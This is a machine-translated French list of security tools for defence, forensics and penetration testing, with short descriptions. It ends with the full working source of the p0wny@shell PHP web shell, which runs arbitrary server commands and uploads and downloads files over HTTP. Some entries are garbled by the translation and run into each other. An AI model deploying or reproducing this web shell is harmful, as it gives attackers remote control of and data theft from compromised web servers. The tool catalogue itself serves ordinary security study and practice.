Blue team |
LaBrea.py | Implémentation moderne de LaBreay Tarpit en Python / Scapy. LaBrea vous permet de configurer un hôte qui peut prendre en charge tous
adresses inutilisées dans un sous-réseau IPv4, créant un pot de miel à faible interaction (en quelque sorte) pour les vers et les analyses de réseau. |
ShowMeThePackets | Collection de scripts et d'outils IDS / Network Monitoring couvrant des domaines de la collecte de données à l'analyse. |
VisualSniff | Un outil de visualisation des communications simple pour Macos écrit en Objective-C. Visualise les hôtes communicants,
volume et directionnalité des données. |
DeepBlueCLI | Un module PowerShell pour la chasse aux menaces via le journal des événements Windows. |
WhatsMyName | Outil OSINT / recon pour l'énumération des noms d'utilisateurs. Fichier JSON utilisé dans les modules Spiderfoot et Recon-ng. |
untappdScraper | Outil OSINT pour récupérer les données du site de médias sociaux untappd.com. |
Espial | Outil OSINT pour l'identification des actifs, la validation des services et la détection des vulnérabilités. |
flare | Aide à trouver des balises de commande et de contrôle sur les données déjà ingérées dans Elasticsearch (prend en charge netflow, Zeek,et probablement tout journal de connexion standard). |
VulnWhisperer | Agrège les données de vulnérabilité et vous permet de les signaler avec ELK et permet de baliser des éléments tels que PIC, HIPAA, critiques asset, etc. Prend en charge l'ajout d'un score appelé score résiduel_risk qui vous permet de documenter ce que vous ressentez le risque c'est vrai. |
LogCampaign | Structure de tâches planifiées pour la création de références et la journalisation automatiques en fonction des différences entre les références. La journalisation peut être directement vers un serveur syslog ou vers EVTX local. Le canal EVTX personnalisé est pris en charge et la sortie du journal peut être en texte clair ou JSON. |
Update-VMs | Framework automatique pour la capture instantanée des machines virtuelles VMware et leur correction. Prend en charge les vérifications de l'état personnalisées par machine virtuelle avec la restauration automatique de l'échec de la vérification de l'état et de la vérification de l'état par défaut consiste à voir si le serveur revient en ligne. |
QRadar Threat Intelligence On The Cheap | Téléchargez une liste d'adresses IP et de domaines suspects d'être malveillants. Créez un ensemble de références QRadar. Rechercher dans votre environnement Pour les Ips malveillants. |
DNSSpoof | Script pour exécuter et enseigner à quel point il est facile de créer un outil d'usurpation DNS à l'aide de scapy. |
Misc Powershell & VBscript | Des centaines de scripts PowerShell et VBScript pour les tâches grandes et petites liées à la sécurité des produits Microsoft. |
project fantastic | Fantastic est un outil de visualisation conçu par InfoSec Innovations pour explorer les réseaux informatiques. Il vise à fournir un moyen pour les novices et les professionnels de la sécurité réseau pour trouver et résoudre les problèmes de sécurité. Si vous ne savez pas par où commencer, le Le système de quête (travail en cours!) vous guidera, ou vous pouvez l'ignorer et essayer les différentes options par vous-même. |
Freq Server | Un serveur Web qui s'intègre aux systèmes SEIM et identifie les hôtes utilisés pour la commande et le contrôle par identifier les domaines utilisés pour le commandement et le contrôle. Les outils utilisent l'analyse de la fréquence des caractères pour identifier noms d'hôtes aléatoires. |
Domain Stats | Un outil d'intégration SEIM qui surveille les noms d'hôte DNS utilisés par votre réseau pour identifier le premier contact avec de nouveaux domaines et contact avec de nouveaux domaines qui ont été établis au cours des 2 dernières années, efficaces pour identifier les acteurs malveillants. |
Blue Team & Digital Forensics, Incident Response (DFIR) |
rastrea2r | Rastrea2r (prononcé «rastreador» -hunter-en espagnol) est un outil open source multi-plateforme qui permet aux intervenants en cas d'incident et aux analystes SOC de trier les systèmes suspects et de rechercher des indicateurs de compromis (IOC) sur des milliers de points finaux en quelques minutes |
PAE | Un outil d'analyse statistique haute performance pour les en-têtes de paquets et les données. Excellent pour la détection d'anomalies, la recherche de menaces et la détection de balises (protocole). Prend en charge la visualisation via le script Python associé. |
DAD | Large scale log aggregation and analysis SIEM supporting the ability to create correlation scripts based on signatures and on correlations. Supports aggregation of syslog, Windows Event Logs, and any other text-based log format |
Silky | Interface graphique basée sur SilkyWeb pour une interaction facile avec les référentiels NetFlow basés sur SiLK |
SIFT | Station de travail Le SIFT® démontre que des capacités avancées de réponse aux incidents et des techniques d'investigation numérique approfondie aux intrusions peuvent être réalisées à l'aide d'outils open source de pointe qui sont disponibles gratuitement et fréquemment mis à jour |
REMnux | REMnux® est une boîte à outils Linux gratuite destinée à aider les analystes de malwares avec la rétro-ingénierie de logiciels malveillants. Cette distribution légère intègre de nombreux outils pour analyser les logiciels malveillants Windows et Linux et examiner les menaces basées sur le navigateur
|
SOFT-ELK | SOF-ELK® est une plate-forme de «big data analytics» axée sur les besoins typiques des enquêteurs / analystes judiciaires informatiques et du personnel des opérations de sécurité de l'information. La plate-forme est une version personnalisée de la pile Elastic open source pour faciliter l'analyse à grande échelle |
DS4N6 | Collection de bibliothèques et de scripts conçus pour faciliter l'analyse assistée Data Science / Machine Learning appliquée à DFIR, soit sur un environnement Jupyter, soit directement sur des scripts python autonomes |
EZ Tools | Une suite d'outils de criminalistique numérique open source qui peuvent être utilisés dans une grande variété d'enquêtes, y compris la validation croisée des outils, fournissant un aperçu des détails techniques non exposés par d'autres outils, et plus encore. |
AmcacheParser | Analyseur Amcache.hve avec de nombreuses fonctionnalités supplémentaires. Gère les fichiers verrouillés. |
AppCompatCacheParser | AppCompatCache aka ShimCache parser. Handles locked files. |
bstrings | Trouvez les chaînes yo. Construit dans des modèles de regex. Gère les fichiers verrouillés. |
EZViewer | Visionneuse autonome sans dépendance pour .doc, .docx, .xls, .xlsx, .txt, .log, .rtf, .otd, .htm, .html, .mht, .csv et .pdf. Tous les fichiers non pris en charge sont affichés dans un éditeur hexadécimal (avec interpréteur de données!). |
EvtxECmd | Analyseur de journal d'événements (evtx) avec sortie standardisée CSV, XML et json! Cartes personnalisées, prise en charge des fichiers verrouillés et plus encore! |
Hasher | Hash tout |
JLECmd | Analyseur de liste de sauts |
JumpList Explorer | Visionneuse de liste de raccourcis basée sur l'interface graphique |
LECmd | Analyser les fichiers lnk |
MFTECmd | $MFT, $Boot, $J, $SDS, and $LogFile (coming soon) parser. Handles locked files |
MFTExplorer | $MFT, $Boot, $J, $SDS, and $LogFile (coming soon) parser. |
PECmd | Analyseyr de prélecture |
RBCmd | Analyseur d'artefact de la corbeille (INFO2 / $ I) |
RecentFileCacheParser | Analyseur de fichier |
Registry Explorer | Visionneuse de registre avec recherche, prise en charge de plusieurs ruches, plugins, etc. Gère les fichiers verrouillés |
RECmd | Visionneuse de registre avec recherche, prise en charge de plusieurs ruches, plugins, etc. Gère les fichiers verrouillés |
SDB Explorer | Interface graphique de la base de données Shim |
ShellBags Explorer | GUI pour parcourir les données des shellbags. Gère les fichiers verrouillés |
SBECmd | CLI pour analyser les données des shellbags. |
Timeline Explorer | Affichez facilement les fichiers CSV et Excel, filtrez, regroupez, triez, etc. |
VSCMount | Montez tous les VSC sur une lettre de lecteur à un point de montage donné |
WxTCmd | Analyseur de base de données Windows 10 Timeline |
KAPE | Kroll Artifact Parser / Extractor: collecte flexible et rapide de fichiers ainsi que traitement des fichiers. De nombreuses fonctionnalités |
iisGeoLocate | Géolocaliser les adresses IP trouvées dans les journaux IIS |
TimeApp | Une application simple qui affiche l'heure actuelle (locale et UTC) et éventuellement l'adresse IP publique. Idéal pour les tests |
XWFIM | Gestionnaire d'installation X-Ways Forensics |
Get-ZimmermanTools | Script PowerShell pour découvrir et mettre à jour automatiquement tout ce qui précède. |
pktIntel | Cet outil est utilisé pour effectuer des informations sur les menaces sur les données par paquets. |
APOLLO | Apple Pattern of Life Lazy Output'er (APOLLO) extrait et met en corrélation les données de nombreuses bases de données, puis les organise pour afficher le journal détaillé des événements de l'utilisation des applications, l'état de l'appareil et d'autres artefacts du modèle de vie des appareils Apple. |
MacMRU | Analyseur MRU Mac |
The Pyramid of Pain | La Pyramid of Pain est un modèle conceptuel pour l'utilisation efficace de Cyber Threat Intelligence dans les opérations de détection des menaces, avec un accent particulier sur l'augmentation du coût des opérations des adversaires. |
Hunting Maturity Model | Le modèle de maturité de la chasse (HMM) est un modèle simple pour évaluer la capacité de chasse aux menaces d'une organisation. Il fournit non seulement un "où en sommes-nous maintenant?" métrique, mais aussi une feuille de route pour l'amélioration du programme |
teleparser | teleparser est un script Python3 visant à analyser la base de données Telegram cache4.db. |
kobackupdec | Le kobackupdec est un script Python3 pour décrypter les sauvegardes Huawei HiSuite ou KoBackup (application Android). |
dpapilab | Boîte à outils Python basée sur dpapick pour décrypter, en ligne et hors ligne, les blobs protégés par DPAPI, les coffres Windows inclus. |
decwindbx | Boîte à outils Windows pour décrypter les bases de données Dropbox .dbx. |
hotoloti | Ensemble de scripts de blog Zena Forensics (plugins de regripper, plug-in de volatilité mimikatz / rekall, journal des événements, etc.) |
unssz | Script Python pour décrypter les conteneurs cryptographiques Samsung / Seagate Secure Zone (sans connaître le mot de passe ...). |
w10pfdecomp | Décompression Windows 10 Prefetch (native) |
ios_triage | Script Bash pour extraire les données d'un appareil iOS "chekcra1ned". |
sigs.py | Générer des signatures md5, sha1, sha256, sha512, sha3-384 à partir de fichiers (potentiellement récursivement) |
mac_robber.py | mac_robber réécrit en python |
docker_mount.py | Script pour monter en lecture seule les systèmes de fichiers en couches docker (prend actuellement en charge les aufs et overlay2 sous-jacents) |
tln_parse.py | Script Python pour remplacer parse.exe dans le flux de travail de la mini-chronologie KAPE de Mari pour me donner de bons horodatages UTC aaaa-jj-mm |
sqlparse.py | Python et EXE pour récupérer les entrées de suppression dans les bases de données SQLite |
onion_peeler.py | Outil Python pour interroger par lots les adresses IP pour voir si ce sont des nœuds de sortie Tor |
quicklook_parser | Outil Python pour analyser la base de données Mac QuickLook index.sqlite. Contient des informations sur les miniatures générées sur un Mac. |
chrome_parse.py | Analyser l'historique et les téléchargements de Chrome au format TSV ou TLN. |
parse_mftdump.py | Analyse la sortie de mftdump.exe au format bodyfile |
GA-Parser.py | Script Python pour analyser les valeurs analytiques Google de E01, RAM, etc. |
GA Cookie Cruncher | Analyse les valeurs Google Analytic pour IE, FireFox, Chrome et Safari. |
safari_parser.py | Analyse l'historique de Safari, les téléchargements, les signets et les topsites. |
thunderbird_parser.py | Analyse les e-mails du client Thunderbird pour inclure les e-mails supprimés. |
SRUM-DUMP | Windows GUI Forensics tool produit une feuille de calcul XLSX avec des informations détaillées sur tous les processus qui ont été exécutés au cours des 30 derniers jours sur les ordinateurs Windows. |
ESE Analyst | Outil basé sur la ligne de commande qui vide et analyse les bases de données utilisées sur les systèmes Windows qui stockent diverses informations d'investigation. Les plugins sont utilisés pour vider différents types de données. |
Werejugo | Un outil Windows Forensics qui analyse le registre, les journaux d'événements et les configurations de réseau sans fil pour identifier les emplacements physiques où l'ordinateur portable a été utilisé. |
Aurora IR | Feuille de calcul de Doom sur les stéroïdes avec de jolies petites fonctionnalités graphiques, le suivi des tâches et bien plus encore. J'ajouterai bientôt de nouvelles fonctionnalités. |
LMG | Script to automate memory capture and profile creation for Linux systems |
DFIS | Outils de récupération de fichiers EXT3, outils de chronologie, etc. |
analyzeEXT | Récupérer les informations du système de fichiers EXT à partir de blocs de répertoire sculptés |
Linewatch | Repérez les valeurs aberrantes dans les grandes séries de données |
epochalypse.py | Script Python qui reçoit un horodatage générique en entrée et le convertit dans plusieurs formats courants connus. Dans la dernière version, il prend également en charge les horodatages en valeur hexadécimale en entrée. |
mac4n6 Artifacts | Point de collecte unique pour les artefacts d'investigation macOS. Les artefacts sont collectés sur une feuille de calcul Google partagée et disponibles également au format csv et yaml. |
ACH Template | Une feuille Excel qui met en œuvre la méthodologie de notation et de pondération de l'analyse des hypothèses concurrentes, plus précisément l'algorithme de comptage des incohérences pondérées. Également disponible au format Google Spreadsheet. |
greenbone-security-assistant | L'assistant de sécurité Greenbone est une application Web qui se connecte au Greebone Vulnerability Manager et à l'administrateur OpenVAS pour fournir une interface utilisateur complète pour la gestion des vulnérabilités. |
penetration testing tools |
Slingshot | Slingshot est une distribution Linux basée sur Ubuntu avec l'environnement de bureau MATE conçu pour être utilisé dans le programme de test de pénétration SANS et au-delà. Conçu pour être stable, fiable et mince, Slingshot est construit avec Vagrant et Ansible. SANS Slingshot C2 Matrix Edition est également disponible, qui comprend tout ce qui concerne Slingshot et 8 cadres de commande et de contrôle populaires. |
The C2 Matrix | Matrice des cadres de commandement et de contrôle pour les tests de pénétration, le Red Teaming et le Purple Teaming. Outre Google Sheet / Golden Source Matrix, il existe un questionnaire C2, un site Web de procédures et la machine virtuelle SANS Slingshot C2 Matrix Edition. |
Kerberoasting | Des portions de tickets Kerberos peuvent être chiffrées à l'aide du hachage de mot de passe du service cible et sont donc vulnérables aux attaques Brute Force hors ligne qui peuvent exposer des informations d'identification en texte brut. |
KillerBee | KillerBee est un framework, une API de programmation et une suite d'outils pour tester la sécurité des réseaux sans fil ZigBee |
KillerZee | KillerZee est un framework, une API de programmation et une suite d'outils pour tester la sécurité des réseaux sans fil Z-Wave |
BitFit | BitFit est un outil permettant de garantir un contrôle d'intégrité des fichiers de données distribués. |
PPTXIndex | PPTXIndex génère un document indexé Microsoft Word à partir de fichiers PPTX PowerPoint. |
PlistSubtractor | PlistSubtractor simplifie le processus d'évaluation des données plist imbriquées |
PPTXSanity | PPTXSanity évalue tous les liens dans un fichier PowerPoint pour vérifier les liens morts |
DynaPstalker | DynaPstalker assiste lors du fuzzing d'un processus Windows en codant par couleur les blocs atteints à utiliser dans IDA Pro |
PPTXUrls | PPTXUrls génère un rapport HTML de tous les liens dans un ou plusieurs fichiers PowerPoint. |
NM2LP | NM2LP convertit les données de capture de paquets sans fil NetMon au format libpcap. |
MFSmartHack | MFSmartHack est une suite d'outils pour le piratage des cartes RFID haute fréquence MIFARE DESFire et ULC |
BTFind | BTFind est une interface graphique et audio pour suivre l'emplacement des appareils Bluetooth et Bluetooth Low Energy |
CoWPAtty | CoWPAtty is a WPA2-PSK password cracking tool. |
PCAPHistogram | PCAPHistogram évalue la charge utile des données de capture de paquets libpcap, générant un histogramme pour caractériser l'entropie des données. |
EAPMD5Pass | EAPMD5Pass est un outil de craquage de mots de passe pour les captures de paquets EAP-MD5. |
Asleap | Asleap est un outil de craquage de mot de passe Cisco LEAP et MS-CHAPv2 générique. |
TIBTLE2Pcap | TIBTLE2Pcap convertit les captures de paquets Bluetooth et Bluetooth Low Energy en utilisant le format propriétaire TI SmartRF en fichiers compatibles avec libpcap. |
Bluecrypt | Bluecrypt est une implémentation simple des fonctions cryptographiques d'authentification Bluetooth, notamment E0, E21 et E22. Inclut certaines fonctions de wrapper pour rendre les fonctions d'authentification Bluetooth un peu plus simples. |
evtxResourceIDGaps | evtxResourceIDGaps est un script pour évaluer les données de journalisation Windows EVTX afin d'identifier les preuves de données de journalisation altérées. |
EAP-MD5-Crack | Une implémentation python d'un cracking d'authentification EAP. Entrée PCAP, sortie de mot de passe. |
504lab | Le 504lab est l'un des nombreux grands laboratoires de SEC504. Cet outil imitera le comportement des logiciels malveillants et vous demandera de l'identifier. Utilisez cet outil pour affiner vos compétences de chasse aux menaces. |
Digestive | Outil de craquage de dictionnaire pour les hachages de défi / réponse HTTP Digest Ce script python est un wrapper Hashcat pour aider à automatiser le processus de craquage. |
Autocrack | Le script comprend plusieurs fonctions pour sélectionner un ensemble de listes de mots et de règles, ainsi que la possibilité d'exécuter une attaque bruteforce, avec des masques personnalisés, avant les attaques par liste de mots / règle. |
obscureV4 | Obscurcissez une adresse IPv4 dans plus de 100 formats différents qui fonctionnent toujours pour la connexion aux ressources réseau. Utile pour contourner les pare-feu des applications Web et les systèmes de détection d'intrusion. Traduire Ducky Script en macros QMK Send_String () qui peuvent être chargées sur des PCB compatibles QMK. Te permet de |
QuantumDuck | créez votre propre clavier mécanique avec des macros d'attaque cachées. Utile pour les pentest physiques (et les farces de bureau aussi). |
EmuRoot | Android_Emuroot est un script Python qui permet d'accorder à la volée des privilèges root aux émulateurs Google API Playstore pour aider les ingénieurs inverseurs à approfondir leurs investigations. |
wiki-dictionary-creator | Crée une liste de mots basée sur les articles d'un site Wikipedia. Vous permet de sélectionner la langue de Wikipédia. Crée des listes de mots en fonction des titres des articles. |
ads-payload | Script Powershell qui prendra n'importe quelle charge utile et la mettra dans un script bat qui délivre la charge utile. La charge utile est fournie à l'aide de variables d'environnement, de flux de données alternés et de wmic. |
VoIP Hopper | VoIP Hopper est un outil de test de pénétration de l'infrastructure réseau pour tester la (in) sécurité des VLANS et imiter le comportement des téléphones IP pour automatiquement sauter le VLAN et démontrer les risques au sein des infrastructures de réseau de téléphonie IP. |
PurpleCloud | Déploie un petit domaine Active Directory dans Azure IaaS, à l'aide de Terraform + Ansible. Joint trois points de terminaison Windows 10 à un domaine et inclut un adversaire Linux. |
Azure Velociraptor | Déploie l'agent DFIR de réponse en direct Velociraptor dans Azure IaaS, à l'aide de Terraform + Ansible. Déploie un serveur Velociraptor et un point de terminaison Windows 10 configurés pour enregistrer l'agent Velociraptor sur le serveur. |
Azure HELK | Déploie Hunting ELK (HELK) Hunting SIEM dans Azure IaaS, à l'aide de Terraform + Ansible. Déploie un serveur HELK et un point de terminaison Windows 10. Le point de terminaison est configuré automatiquement pour expédier les journaux SwiftOnSecurity Sysmon via Winlogbeat à l'aide du transport Kafka. Prise en charge par défaut de Mordor. |
Aria Cloud | Un conteneur Docker de test de pénétration à distance, en mettant l'accent sur l'inclusion d'outils de test de pénétration dans le cloud pour Azure, AWS et GCP. |
Hammer | Un exemple de démonstration d'apprentissage d'une application Ruby on Rails vulnérable trouvée dans la nature. Il fuit les clés d'API cloud via un composant middleware vulnérable. Prise en charge des conteneurs Docker ainsi que des instructions de construction. |
Voltaire | Voltaire est un outil d'indexation basé sur le Web pour les examens de certification GIAC. La création d'un index avec Voltaire est un processus en trois phases impliquant: la documentation / la prise de notes, le tri et la normalisation, et le traitement de texte. Ce fichier Lisez-moi est destiné à guider les utilisateurs tout au long du processus. |
Subterfuge | Subterfuge est un cadre pour prendre l'art arcane de l'attaque de l'homme au milieu et le rendre aussi simple que de viser et de tirer. Il démontre les vulnérabilités du protocole ARP en récoltant les informations d'identification qui traversent le réseau, et même en exploitant les machines dans des conditions de concurrence. |
Prismatica | Project Prismatica est un cadre de commande et de contrôle dédié à l'extensibilité. Notre objectif principal est de fournir une plate-forme pratique avec des transports, des backends et des implants modulaires pour permettre des opportunités de réoutillage rapide et améliorer les opérations Red Team. |
Diagon | Le cadre d'attaque Diagon est une application Prismatica contenant les outils d'accès à distance (RAT) de Serdaigle, Gryffondor et Serpentard. |
Oculus | Oculus est un système C2 malléable basé sur python permettant l'instanciation des écouteurs à des fins de communication avec des outils d'accès à distance (RAT). |
Tiberium | Un outil d'analyse de commande et de contrôle |
Gryffindor | Le Gryffondor RAT est sorti au Derbycon 2018. |
Mailsniper for Gmail | MailSniper est un outil de test de pénétration permettant de rechercher par courrier électronique dans un environnement Microsoft Exchange et Gsuite des termes spécifiques (mots de passe, informations internes, informations sur l'architecture réseau, etc.). Il peut être utilisé en tant qu'utilisateur non administratif pour rechercher ses propres e-mails ou par un administrateur Exchange pour rechercher les boîtes aux lettres de chaque utilisateur d'un domaine. |
Emergence | Le tissu Emergence est une interface où l'interaction et l'intégration de sous-systèmes disparates de sécurité de l'information acquièrent une intelligence combinée |
Acheron | Acheron est un cadre d'évaluation et de gestion des vulnérabilités RESTful construit autour de la recherche et dédié à l'extensibilité des terminaux. |
Cryptbreaker | Cryptbreaker est une application Web qui utilise Amazon Web Services (AWS) pour effectuer un craquage basé sur le cloud des hachages LM et NTLM (le mécanisme de stockage principal pour les hachages dans un environnement de domaine Windows). |
powercat | Implémentation de Netcat dans PowerShell 2.0 pour permettre une portabilité maximale sur tous les hôtes activés pour PowerShell. |
Pause-Process | Script PowerShell qui permet de suspendre / réactiver une application en cours d'exécution. Utilise les fonctionnalités existantes du système d'exploitation, il n'est donc pas nécessaire d'installer des composants supplémentaires. Peut être utilisé pour permettre aux défenseurs de répondre à un seuil inférieur. |
heimdall | Outil Python pour distribuer des commandes sur de nombreuses instances cloud. Initialement destiné à un scan de reconnaissance hautement distribué (non évasif, juste performant). Fondamentalement, enveloppez Terraform |
ghidra | un outil de reverse engiineering |
gpp-decrypt | outils pour décrypter des password windows |
pownyshell |
<?php
function featureShell($cmd, $cwd) {
$stdout = array();
if (preg_match("/^\s*cd\s*$/", $cmd)) {
// pass
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => array('File not found / no read permission.'),
'cwd' => getcwd()
);
} else {
return array(
'name' => basename($filePath),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => array('Invalid path / no write permission.'),
'cwd' => getcwd()
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => array('Done.'),
'cwd' => getcwd()
);
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}
#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
@media (max-width: 991px) {
#shell-logo {
display: none;
}
html, body, #shell {
height: 100%;
width: 100%;
max-width: none;
}
#shell {
margin-top: 0;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(response.name, response.file)
} else {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>
|